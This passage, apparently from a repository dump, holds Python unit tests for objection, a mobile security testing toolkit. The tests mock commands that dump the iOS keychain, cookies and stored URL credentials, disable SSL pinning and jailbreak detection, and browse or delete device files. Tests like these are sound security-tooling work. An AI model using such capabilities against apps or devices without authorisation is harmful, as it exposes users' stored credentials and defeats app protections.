@mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_frameworks_prints_with_apple_bundles_and_full_paths(self, mock_api):\n        mock_api.return_value.ios_bundles_get_frameworks.return_value = self.bundle_data\n\n        with capture(show_frameworks, ['--include-apple-frameworks', '--full-path']) as o:\n            output = o\n\n        expected = \"\"\"Executable                Bundle                                Version  Path\n------------------------  ----------------------------------  ---------  ------------------------------------------------------------------------\nAppleIDSSOAuthentication  com.apple.AppleIDSSOAuthentication          1  /AppleIDSSOAuthentication\nLinguisticData            com.apple.LinguisticData                    1  /LinguisticData/LinguisticDataLinguisticDataLinguisticDataLinguisticData\nhockeyapp                 net.hockeyapp.sdk.ios                       1  /hockeyapp\nMapKit                    za.apple.MapKit                             1  /MapKit\n\"\"\"\n\n        self.assertEqual(output, expected)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_bundles_prints_bundles(self, mock_api):\n        mock_api.return_value.ios_bundles_get_bundles.return_value = self.bundle_data\n\n        with capture(show_bundles, []) as o:\n            output = o\n\n        expected = \"\"\"Executable                Bundle                                Version  Path\n------------------------  ----------------------------------  ---------  -------------------------------------------\nAppleIDSSOAuthentication  com.apple.AppleIDSSOAuthentication          1  /AppleIDSSOAuthentication\nLinguisticData            com.apple.LinguisticData                    1  ...nguisticDataLinguisticDataLinguisticData\nhockeyapp                 net.hockeyapp.sdk.ios                       1  /hockeyapp\nMapKit                    za.apple.MapKit                             1  /MapKit\n\"\"\"\n\n        self.assertEqual(output, expected)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_bundles_prints_bundles(self, mock_api):\n        mock_api.return_value.ios_bundles_get_bundles.return_value = self.bundle_data\n\n        with capture(show_bundles, ['--full-path']) as o:\n            output = o\n\n        expected = \"\"\"Executable                Bundle                                Version  Path\n------------------------  ----------------------------------  ---------  ------------------------------------------------------------------------\nAppleIDSSOAuthentication  com.apple.AppleIDSSOAuthentication          1  /AppleIDSSOAuthentication\nLinguisticData            com.apple.LinguisticData                    1  /LinguisticData/LinguisticDataLinguisticDataLinguisticDataLinguisticData\nhockeyapp                 net.hockeyapp.sdk.ios                       1  /hockeyapp\nMapKit                    za.apple.MapKit                             1  /MapKit\n\"\"\"\n\n        self.assertEqual(output, expected)\n"
  },
  {
    "path": "tests/commands/ios/test_cookies.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ios.cookies import get\nfrom ...helpers import capture\n\n\nclass TestCookies(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_get_handles_empty_data(self, mock_api):\n        mock_api.return_value.ios_cookies_get.return_value = []\n\n        with capture(get, []) as o:\n            output = o\n\n        self.assertEqual(output, 'No cookies found\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_get(self, mock_api):\n        mock_api.return_value.ios_cookies_get.return_value = [{\n            'name': 'foo',\n            'value': 'bar',\n            'expiresDate': '01-01-1970 00:00:00 +0000',\n            'domain': 'foo.com',\n            'path': '/',\n            'isSecure': 'false',\n            'isHTTPOnly': 'true'\n        }]\n\n        with capture(get, []) as o:\n            output = o\n\n        expected_output = \"\"\"Name    Value    Expires                    Domain    Path    Secure    HTTPOnly\n------  -------  -------------------------  --------  ------  --------  ----------\nfoo     bar      01-01-1970 00:00:00 +0000  foo.com   /       false     true\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n"
  },
  {
    "path": "tests/commands/ios/test_hooking.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ios.hooking import _should_ignore_native_classes, _should_include_parent_methods, \\\n    _class_is_prefixed_with_native, _string_is_true, show_ios_class_methods, set_method_return_value\nfrom ...helpers import capture\n\n\nclass TestHooking(unittest.TestCase):\n    def test_should_ignore_native_classes_returns_true(self):\n        result = _should_ignore_native_classes([\n            '--test',\n            '--ignore-native'\n        ])\n\n        self.assertTrue(result)\n\n    def test_should_ignore_native_classes_returns_false(self):\n        result = _should_ignore_native_classes([\n            '--test',\n        ])\n\n        self.assertFalse(result)\n\n    def test_should_include_parents_includes_returns_true(self):\n        result = _should_include_parent_methods([\n            '--test',\n            '--include-parents'\n        ])\n\n        self.assertTrue(result)\n\n    def test_should_include_parents_includes_returns_false(self):\n        result = _should_include_parent_methods([\n            '--test',\n        ])\n\n        self.assertFalse(result)\n\n    def test_class_is_prefixed_with_native_returns_true(self):\n        result = _class_is_prefixed_with_native('ACFoo')\n\n        self.assertTrue(result)\n\n    def test_class_is_prefixed_with_native_returns_false(self):\n        result = _class_is_prefixed_with_native('FooBar')\n\n        self.assertFalse(result)\n\n    def test_string_is_true_returns_true(self):\n        result = _string_is_true('true')\n\n        self.assertTrue(result)\n\n    def test_string_is_true_returns_false(self):\n        result = _string_is_true('foo')\n\n        self.assertFalse(result)\n\n    def test_show_ios_class_methods_validates_arguments(self):\n        with capture(show_ios_class_methods, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: ios hooking list class_methods <class name> (--include-parents)\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_ios_class_methods(self, mock_api):\n        mock_api.return_value.ios_hooking_get_class_methods.return_value = ['foo', 'bar']\n\n        with capture(show_ios_class_methods, ['TEKeychainManager']) as o:\n            output = o\n\n        expected_output = \"\"\"foo\nbar\n\nFound 2 methods\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    def test_set_method_return_value_validates_arguments(self):\n        with capture(set_method_return_value, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: ios hooking set_method_return \"<selector>\" '\n                                 '(eg: \"-[ClassName methodName:]\") <true/false>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_set_method_return_value(self, mock_api):\n        set_method_return_value(['-[TEKeychainManager forData:]', 'true'])\n\n        self.assertTrue(mock_api.return_value.ios_hooking_set_return_value.called)\n"
  },
  {
    "path": "tests/commands/ios/test_jailbreak.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ios.jailbreak import disable, simulate\n\n\nclass TestJailbreak(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_disable(self, mock_api):\n        disable([])\n\n        self.assertTrue(mock_api.return_value.ios_jailbreak_disable.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_simulate(self, mock_api):\n        simulate([])\n\n        self.assertTrue(mock_api.return_value.ios_jailbreak_enable.called)\n"
  },
  {
    "path": "tests/commands/ios/test_keychain.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ios.keychain import _should_output_json, dump, dump_raw, clear, add, \\\n    _data_flag_has_identifier, _get_flag_value, _should_do_smart_decode\nfrom ...helpers import capture\n\n\nclass TestKeychain(unittest.TestCase):\n    def test_should_output_json_in_arguments_returns_true(self):\n        result = _should_output_json([\n            '--test',\n            '--json'\n        ])\n\n        self.assertTrue(result)\n\n    def test_should_output_json_in_arguments_returns_false(self):\n        result = _should_output_json([\n            '--test',\n        ])\n\n        self.assertFalse(result)\n\n    def test_dump_validates_arguments_if_json_output_is_wanted(self):\n        with capture(dump, ['--json']) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: ios keychain dump (--json <local destination>)\\n')\n\n    def test_data_flag_check_ignored_without_data_flag(self):\n        result = _data_flag_has_identifier(['--key', 'test_key'])\n\n        self.assertTrue(result)\n\n    def test_data_flag_is_checked_when_flag_is_specified(self):\n        result = _data_flag_has_identifier(['--key', 'test_key', '--data', 'foo'])\n\n        self.assertFalse(result)\n\n    def test_data_flag_is_checked_when_only_data_flag_is_specified_without_key(self):\n        result = _data_flag_has_identifier(['--data', 'foo'])\n\n        self.assertFalse(result)\n\n    def test_should_do_smart_decode_returns_true(self):\n        result = _should_do_smart_decode(['--json', '--smart'])\n\n        self.assertTrue(result)\n\n    def test_should_do_smart_decode_returns_false(self):\n        result = _should_do_smart_decode(['--json'])\n\n        self.assertFalse(result)\n\n    def test_get_flag_value_gets_value_of_flag(self):\n        result = _get_flag_value(['--key', 'test_value'], '--key')\n\n        self.assertEqual(result, 'test_value')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_dump_to_screen_handles_empty_data(self, mock_api):\n        mock_api.return_value.keychain_list.return_value = []\n\n        with capture(dump, []) as o:\n            output = o\n\n        expected_output = \"\"\"Note: You may be asked to authenticate using the devices passcode or TouchID\nSave the output by adding `--json keychain.json` to this command\nDumping the iOS keychain...\nCreated    Accessible    ACL    Type    Account    Service    Data\n---------  ------------  -----  ------  ---------  ---------  ------\n\"\"\"\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_dump_to_screen(self, mock_api):\n        mock_api.return_value.ios_keychain_list.return_value = [\n            {'account': 'foo', 'create_date': 'now', 'accessible_attribute': 'None',\n             'access_control': 'None', 'item_class': 'kSecClassGeneric', 'service': 'foo',\n             'data': 'bar'}\n        ]\n\n        with capture(dump, []) as o:\n            output = o\n\n        expected_output = \"\"\"Note: You may be asked to authenticate using the devices passcode or TouchID\nSave the output by adding `--json keychain.json` to this command\nDumping the iOS keychain...\nCreated    Accessible    ACL    Type    Account    Service    Data\n---------  ------------  -----  ------  ---------  ---------  ------\nnow        None          None           foo        foo        bar\n\"\"\"\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_dump_raw(self, mock_api):\n        mock_api.return_value.ios_keychain_list_raw.return_value = []\n\n        with capture(dump_raw, []) as o:\n            _ = o\n\n        self.assertTrue(mock_api.return_value.ios_keychain_list_raw.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.ios.keychain.open', create=True)\n    def test_dump_to_json(self, mock_open, mock_api):\n        mock_api.return_value.ios_keychain_list.return_value = [\n            {'access_control': '', 'account': '', 'alias': '', 'comment': '',\n             'create_date': '2018-07-21 18:11:15 +0000', 'creator': '',\n             'custom_icon': '', 'data': 'bar', 'description': '',\n             'entitlement_group': '8AH3PS2AS7.za.sensepost.ipewpew',\n             'generic': '', 'invisible': '', 'item_class': 'genp',\n             'label': '', 'modification_date': '2018-07-21 18:11:15 +0000',\n             'negative': '', 'protected': '', 'script_code': '',\n             'service': 'foos', 'type': ''}]\n\n        with capture(dump, ['--json', 'foo.json']) as o:\n            output = o\n\n        expected_output = \"\"\"Note: You may be asked to authenticate using the devices passcode or TouchID\nDumping the iOS keychain...\nWriting keychain as json to foo.json...\nDumped keychain to: foo.json\n\"\"\"\n        self.assertEqual(output, expected_output)\n        self.assertTrue(mock_open.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.ios.keychain.click.confirm')\n    def test_clear(self, mock_confirm, mock_api):\n        mock_confirm.return_value = True\n\n        with capture(clear, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Clearing the keychain...\\nKeychain cleared\\n')\n        self.assertTrue(mock_api.return_value.ios_keychain_empty.called)\n\n    def test_adds_item_validates_data_key_to_need_identifier(self):\n        with capture(add, ['--data', 'test_data']) as o:\n            output = o\n\n        self.assertEqual(output, 'When specifying the --data flag, either --account or --server should also be added\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_adds_item_successfully(self, mock_api):\n        mock_api.return_value.keychain_add.return_value = True\n\n        with capture(add, ['--account', 'test_key', '--data', 'test_data']) as o:\n            output = o\n\n        self.assertEqual(output, \"\"\"Adding a new entry to the iOS keychain...\nAccount:  test_key\nService:  None\nData:     test_data\nSuccessfully added the keychain item\\n\"\"\")\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_adds_item_with_failure(self, mock_api):\n        mock_api.return_value.ios_keychain_add.return_value = False\n\n        with capture(add, ['--service', 'test_key', '--data', 'test_data']) as o:\n            output = o\n\n        self.assertEqual(output, \"\"\"Adding a new entry to the iOS keychain...\nAccount:  None\nService:  test_key\nData:     test_data\nFailed to add the keychain item\\n\"\"\")\n"
  },
  {
    "path": "tests/commands/ios/test_nsurlcredentialstorage.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ios.nsurlcredentialstorage import dump\nfrom ...helpers import capture\n\n\nclass TestNsusercredentialstorage(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_dump(self, mock_api):\n        mock_api.return_value.ios_credential_storage.return_value = [{\n            'protocol': 'https',\n            'host': 'foo.bar',\n            'port': '80',\n            'authMethod': 'NSURLAuthenticationMethodDefault',\n            'user': 'foo',\n            'password': 'bar',\n        }]\n\n        with capture(dump, []) as o:\n            output = o\n\n        expected_output = \"\"\"Protocol    Host       Port  Authentication Method    User    Password\n----------  -------  ------  -----------------------  ------  ----------\nhttps       foo.bar      80  Default                  foo     bar\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n"
  },
  {
    "path": "tests/commands/ios/test_nsuserdefaults.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ios.nsuserdefaults import get\nfrom ...helpers import capture\n\n\nclass TestNsuserdefaults(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_get(self, mock_api):\n        mock_api.return_value.ios_nsuser_defaults_get.return_value = 'foo'\n\n        with capture(get, []) as o:\n            output = o\n\n        self.assertEqual(output, 'foo\\n')\n"
  },
  {
    "path": "tests/commands/ios/test_pasteboard.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ios.pasteboard import monitor\n\n\nclass TestPasteboard(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_monitor(self, mock_api):\n        monitor([])\n\n        self.assertTrue(mock_api.return_value.ios_monitor_pasteboard.called)\n"
  },
  {
    "path": "tests/commands/ios/test_pinning.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ios.pinning import ios_disable, _should_be_quiet\n\n\nclass TestPinning(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_disable(self, mock_api):\n        ios_disable([])\n\n        self.assertTrue(mock_api.return_value.ios_pinning_disable.called)\n\n    def test_should_be_quiet_returns_true(self):\n        result = _should_be_quiet(['test', '--quiet'])\n        self.assertTrue(result)\n\n    def test_should_be_quiet_returns_false(self):\n        result = _should_be_quiet(['test'])\n        self.assertFalse(result)\n"
  },
  {
    "path": "tests/commands/ios/test_plist.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ios.plist import cat\nfrom objection.state.device import device_state, Ios\nfrom ...helpers import capture\n\n\nclass TestPlist(unittest.TestCase):\n    def test_cat_validates_arguments(self):\n        with capture(cat, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: ios plist cat <remote_plist>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_cat_with_full_path(self, mock_api):\n        mock_api.return_value.ios_plist_read.return_value = 'foo'\n\n        with capture(cat, ['/foo']) as o:\n            output = o\n\n        self.assertEqual(output, 'foo\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.ios.plist.filemanager')\n    def test_cat_with_relative(self, mock_file_manager, mock_api):\n        mock_file_manager.pwd.return_value = '/baz'\n        mock_api.return_value.ios_plist_read.return_value = 'foobar'\n\n        device_state.platform = Ios\n\n        with capture(cat, ['foo']) as o:\n            output = o\n\n        self.assertEqual(output, 'foobar\\n')\n"
  },
  {
    "path": "tests/commands/test_command_history.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.command_history import history, save, clear\nfrom objection.state.app import app_state\nfrom ..helpers import capture\n\n\nclass TestCommandHistory(unittest.TestCase):\n    def setUp(self):\n        app_state.successful_commands = ['foo', 'bar']\n\n    def tearDown(self):\n        app_state.successful_commands = []\n\n    def test_prints_command_history(self):\n        with capture(history, []) as o:\n            output = o\n\n        expected_output = \"\"\"Unique commands run in current session:\nfoo\nbar\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    def test_save_validates_arguments(self):\n        with capture(save, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: commands save <local destination>\\n')\n\n    @mock.patch('objection.commands.command_history.open', create=True)\n    def test_save_saves_to_file(self, mock_open):\n        with capture(save, ['foo.rc']) as o:\n            output = o\n\n        self.assertEqual(output, 'Saved commands to: foo.rc\\n')\n        self.assertTrue(mock_open.called)\n\n    def test_clear_clears_command_history(self):\n        with capture(clear, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Command history cleared.\\n')\n        self.assertEqual(len(app_state.successful_commands), 0)\n"
  },
  {
    "path": "tests/commands/test_device.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.device import get_environment, _get_ios_environment, _get_android_environment\nfrom objection.state.device import Android, Ios\nfrom ..helpers import capture\n\n\nclass TestDevice(unittest.TestCase):\n\n    @mock.patch('objection.commands.device._get_ios_environment')\n    @mock.patch('objection.commands.device.device_state')\n    def test_gets_environment_and_calls_ios_platform_specific_method(self, mock_device_state, mock_ios_environment):\n        type(mock_device_state).platform = mock.PropertyMock(return_value=Ios)\n\n        get_environment()\n\n        self.assertTrue(mock_ios_environment.called)\n\n    @mock.patch('objection.commands.device._get_android_environment')\n    @mock.patch('objection.commands.device.device_state')\n    def test_gets_environment_and_calls_android_platform_specific_method(self, mock_device_state,\n                                                                         mock_android_environment):\n        type(mock_device_state).platform = mock.PropertyMock(return_value=Android)\n\n        get_environment()\n\n        self.assertTrue(mock_android_environment.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_prints_ios_environment_via_platform_helpers(self, mock_api):\n        mock_api.return_value.env_ios_paths.return_value = {\n            'LibraryDirectory': '/var/mobile/Containers/Data/Application/C1D04553/Library'}\n\n        with capture(_get_ios_environment) as o:\n            output = o\n\n        expected_output = \"\"\"\nName              Path\n----------------  --------------------------------------------------------\nLibraryDirectory  /var/mobile/Containers/Data/Application/C1D04553/Library\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_prints_android_environment_via_platform_helpers(self, mock_api):\n        mock_api.return_value.env_android_paths.return_value = {\n            'packageCodePath': '/data/app/com.sensepost.apewpew-1/base.apk'}\n\n        with capture(_get_android_environment) as o:\n            output = o\n\n        expected_output = \"\"\"\nName             Path\n---------------  ------------------------------------------\npackageCodePath  /data/app/com.sensepost.apewpew-1/base.apk\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n"
  },
  {
    "path": "tests/commands/test_filemanager.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.filemanager import cd, _path_exists_ios, _path_exists_android, pwd, pwd_print, _pwd_ios, \\\n    _pwd_android, ls, _ls_ios, _ls_android, download, _download_ios, _download_android, upload, rm, _rm_android\nfrom objection.state.device import device_state, Ios, Android\nfrom objection.state.filemanager import file_manager_state\nfrom ..helpers import capture\n\n\nclass TestFileManager(unittest.TestCase):\n    def tearDown(self):\n        file_manager_state.cwd = None\n\n    def test_cd_argument_validation(self):\n        with capture(cd, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: cd <destination directory>\\n')\n\n    def test_cd_to_dot_directory_does_nothing(self):\n        file_manager_state.cwd = '/foo'\n\n        cd(['.'])\n\n        self.assertEqual(file_manager_state.cwd, '/foo')\n\n    def test_cd_to_double_dot_moves_up_one_directory(self):\n        file_manager_state.cwd = '/foo/bar'\n\n        with capture(cd, ['..']) as o:\n            output = o\n\n        self.assertEqual(output, '/foo\\n')\n        self.assertEqual(file_manager_state.cwd, '/foo')\n\n    def test_cd_to_double_dot_moves_stays_in_current_directory_if_already_root(self):\n        file_manager_state.cwd = '/'\n\n        with capture(cd, ['..']) as o:\n            output = o\n\n        self.assertEqual(output, '/\\n')\n        self.assertEqual(file_manager_state.cwd, '/')\n\n    @mock.patch('objection.commands.filemanager._path_exists_ios')\n    def test_cd_to_absoluate_ios_path(self, mock_path_exists_ios):\n        mock_path_exists_ios.return_value = True\n\n        file_manager_state.cwd = '/foo'\n        device_state.platform = Ios\n\n        with capture(cd, ['/foo/bar/baz']) as o:\n            output = o\n\n        self.assertEqual(output, '/foo/bar/baz\\n')\n        self.assertEqual(file_manager_state.cwd, '/foo/bar/baz')\n\n    @mock.patch('objection.commands.filemanager._path_exists_android')\n    def test_cd_to_absoluate_android_path(self, mock_path_exists_android):\n        mock_path_exists_android.return_value = True\n\n        file_manager_state.cwd = '/foo'\n        device_state.platform = Android\n\n        with capture(cd, ['/foo/bar/baz']) as o:\n            output = o\n\n        self.assertEqual(output, '/foo/bar/baz\\n')\n        self.assertEqual(file_manager_state.cwd, '/foo/bar/baz')\n\n    @mock.patch('objection.commands.filemanager._path_exists_ios')\n    def test_cd_to_absoluate_ios_path_that_does_not_exist(self, mock_path_exists_ios):\n        mock_path_exists_ios.return_value = False\n\n        file_manager_state.cwd = '/foo'\n        device_state.platform = Ios\n\n        with capture(cd, ['/foo/bar/baz']) as o:\n            output = o\n\n        self.assertEqual(output, 'Invalid path: `/foo/bar/baz`\\n')\n        self.assertEqual(file_manager_state.cwd, '/foo')\n\n    @mock.patch('objection.commands.filemanager._path_exists_ios')\n    def test_cd_to_relative_path_ios(self, mock_path_exists_ios):\n        mock_path_exists_ios.return_value = True\n\n        file_manager_state.cwd = '/foo'\n        device_state.platform = Ios\n\n        with capture(cd, ['bar']) as o:\n            output = o\n\n        self.assertEqual(output, '/foo/bar\\n')\n        self.assertEqual(file_manager_state.cwd, '/foo/bar')\n\n    @mock.patch('objection.commands.filemanager._path_exists_android')\n    def test_cd_to_relative_path_android(self, mock_path_exists_android):\n        mock_path_exists_android.return_value = True\n\n        file_manager_state.cwd = '/foo'\n        device_state.platform = Android\n\n        with capture(cd, ['bar']) as o:\n            output = o\n\n        self.assertEqual(output, '/foo/bar\\n')\n        self.assertEqual(file_manager_state.cwd, '/foo/bar')\n\n    @mock.patch('objection.commands.filemanager._path_exists_ios')\n    def test_cd_to_relative_path_ios_that_does_not_exist(self, mock_path_exists_ios):\n        mock_path_exists_ios.return_value = False\n\n        file_manager_state.cwd = '/foo'\n        device_state.platform = Ios\n\n        with capture(cd, ['bar']) as o:\n            output = o\n\n        self.assertEqual(output, 'Invalid path: `/foo/bar`\\n')\n        self.assertEqual(file_manager_state.cwd, '/foo')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_ios_path_exists_helper(self, mock_api):\n        mock_api.return_value.ios_file_exists.return_value = True\n\n        self.assertTrue(_path_exists_ios('/foo/bar'))\n\n    def test_rm_dispatcher_validates_arguments(self):\n        with capture(rm, []) as o:\n            output = o\n\n        expected = 'Usage: rm <target remote file>\\n'\n\n        self.assertEqual(output, expected)\n\n    @mock.patch('objection.commands.filemanager.click.confirm')\n    @mock.patch('objection.commands.filemanager._rm_android')\n    def test_rm_dispatcher_confirms_before_delete(self, mock_android_rm, mock_confirm):\n        device_state.platform = Android\n        file_manager_state.cwd = '/foo'\n        mock_confirm.return_value = False\n\n        with capture(rm, ['poo']) as o:\n            output = o\n\n        expected = 'Not deleting /foo/poo\\n'\n\n        self.assertEqual(output, expected)\n        self.assertFalse(mock_android_rm.called)\n\n    @mock.patch('objection.commands.filemanager.click.confirm')\n    @mock.patch('objection.commands.filemanager._rm_android')\n    def test_rm_dispatcher_calls_android_rm_helper(self, mock_android_rm, mock_confirm):\n        device_state.platform = Android\n        mock_android_rm.return_value = True\n        mock_confirm.return_value = True\n\n        rm('/poo')\n\n        self.assertTrue(mock_android_rm.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.filemanager._path_exists_android')\n    def test_rm_android_helper_file_exists(self, mock_exists, mock_api):\n        mock_exists.return_value = True\n        mock_api.return_value.android_file_delete.return_value = True\n\n        with capture(_rm_android, '/poo') as o:\n            output = o\n\n        expected = '/poo successfully deleted\\n'\n\n        self.assertTrue(output, expected)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_android_path_exists_helper(self, mock_api):\n        mock_api.return_value.android_file_exists.return_value = True\n\n        self.assertTrue(_path_exists_android('/foo/bar'))\n\n    def test_returns_current_directory_via_helper_when_already_set(self):\n        file_manager_state.cwd = '/foo'\n\n        self.assertEqual(pwd(), '/foo')\n\n    @mock.patch('objection.commands.filemanager._pwd_ios')\n    def test_returns_current_directory_via_helper_for_ios(self, mock_pwd_ios):\n        mock_pwd_ios.return_value = '/foo/bar'\n        device_state.platform = Ios\n\n        self.assertEqual(pwd(), '/foo/bar')\n        self.assertTrue(mock_pwd_ios.called)\n\n    @mock.patch('objection.commands.filemanager._pwd_android')\n    def test_returns_current_directory_via_helper_for_android(self, mock_pwd_android):\n        mock_pwd_android.return_value = '/foo/bar'\n        device_state.platform = Android\n\n        self.assertEqual(pwd(), '/foo/bar')\n        self.assertTrue(mock_pwd_android.called)\n\n    def test_prints_the_current_working_directory(self):\n        file_manager_state.cwd = '/foo/bar/baz'\n\n        with capture(pwd_print) as o:\n            output = o\n\n        self.assertEqual(output, 'Current directory: /foo/bar/baz\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_get_ios_pwd_via_helper(self, mock_api):\n        mock_api.return_value.ios_file_cwd.return_value = '/foo/bar'\n\n        self.assertEqual(_pwd_ios(), '/foo/bar')\n        self.assertEqual(file_manager_state.cwd, '/foo/bar')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_get_android_pwd_via_helper(self, mock_api):\n        mock_api.return_value.android_file_cwd.return_value = '/foo/baz'\n\n        self.assertEqual(_pwd_android(), '/foo/baz')\n        self.assertEqual(file_manager_state.cwd, '/foo/baz')\n\n    @mock.patch('objection.commands.filemanager.pwd')\n    @mock.patch('objection.commands.filemanager._ls_ios')\n    def test_ls_gets_pwd_from_helper_with_no_argument(self, _, mock_pwd):\n        device_state.platform = Ios\n\n        ls([])\n\n        self.assertTrue(mock_pwd.called)\n\n    @mock.patch('objection.commands.filemanager._ls_ios')\n    def test_ls_calls_ios_helper_method(self, mock_ls_ios):\n        device_state.platform = Ios\n\n        ls(['/foo/bar'])\n\n        self.assertTrue(mock_ls_ios.called)\n\n    @mock.patch('objection.commands.filemanager._ls_android')\n    def test_ls_calls_android_helper_method(self, mock_ls_android):\n        device_state.platform = Android\n\n        ls(['/foo/bar'])\n\n        self.assertTrue(mock_ls_android.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_lists_readable_ios_directory_using_helper_method(self, mock_api):\n        mock_api.return_value.ios_file_ls.return_value = {\n            'path': '/foo/bar',\n            'readable': True,\n            'writable': False,\n            'files': {\n                'test': {\n                    'fileName': 'test',\n                    'readable': True,\n                    'writable': False,\n                    'attributes': {\n                        'NSFileType': 'A',\n                        'NSFilePosixPermissions': 'B',\n                        'NSFileProtectionKey': 'C',\n                        'NSFileOwnerAccountName': 'D',\n                        'NSFileOwnerAccountID': 'E',\n                        'NSFileGroupOwnerAccountName': 'F',\n                        'NSFileGroupOwnerAccountID': 'G',\n                        'NSFileSize': 123918204914,\n                        'NSFileCreationDate': 'H'\n                    }\n                }\n            }\n        }\n\n        with capture(_ls_ios, ['/foo/bar']) as o:\n            output = o\n\n        expected_outut = \"\"\"NSFileType    Perms    NSFileProtection    Read    Write    Owner    Group    Size       Creation    Name\n------------  -------  ------------------  ------  -------  -------  -------  ---------  ----------  ------\nA             B        C                   True    False    D (E)    F (G)    115.4 GiB  H           test\n\nReadable: True  Writable: False\n\"\"\"\n\n        self.assertEqual(output, expected_outut)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_lists_readable_ios_directory_using_helper_method_no_attributes(self, mock_api):\n        mock_api.return_value.ios_file_ls.return_value = {\n            'path': '/foo/bar',\n            'readable': True,\n            'writable': True,\n            'files': {\n                'test': {\n                    'fileName': 'test',\n                    'readable': True,\n                    'writable': True,\n                    'attributes': {}\n                }\n            }\n        }\n\n        with capture(_ls_ios, ['/foo/bar']) as o:\n            output = o\n\n        expected_outut = \"\"\"NSFileType    Perms    NSFileProtection    Read    Write    Owner      Group      Size    Creation    Name\n------------  -------  ------------------  ------  -------  ---------  ---------  ------  ----------  ------\nn/a           n/a      n/a                 True    True     n/a (n/a)  n/a (n/a)  n/a     n/a         test\n\nReadable: True  Writable: True\n\"\"\"\n\n        self.assertEqual(output, expected_outut)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_lists_unreadable_ios_directory_using_helper_method(self, mock_api):\n        mock_api.return_value.ios_file_ls.return_value = {\n            'path': '/foo/bar',\n            'readable': False,\n            'writable': False,\n            'files': {}\n        }\n\n        with capture(_ls_ios, ['/foo/bar']) as o:\n            output = o\n\n        self.assertEqual(output, '\\nReadable: False  Writable: False\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_lists_readable_android_directory_using_helper_method(self, mock_api):\n        mock_api.return_value.android_file_ls.return_value = {\n            'path': '/foo/bar',\n            'readable': True,\n            'writable': True,\n            'files': {\n                'test': {\n                    'fileName': 'test',\n                    'readable': True,\n                    'writable': True,\n                    'attributes': {\n                        'isDirectory': False,\n                        'isFile': True,\n                        'isHidden': False,\n                        'lastModified': 1507189001000,\n                        'size': 249,\n                    }\n                }\n            }\n        }\n\n        with capture(_ls_android, ['/foo/bar']) as o:\n            output = o\n\n        expected_outut = \"\"\"Type    Last Modified            Read    Write    Hidden    Size     Name\n------  -----------------------  ------  -------  --------  -------  ------\nFile    2017-10-05 07:36:41 GMT  True    True     False     249.0 B  test\n\nReadable: True  Writable: True\n\"\"\"\n\n        self.assertEqual(output, expected_outut)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_lists_unreadable_android_directory_using_helper_method(self, mock_api):\n        mock_api.return_value.android_file_ls.return_value = {\n            'path': 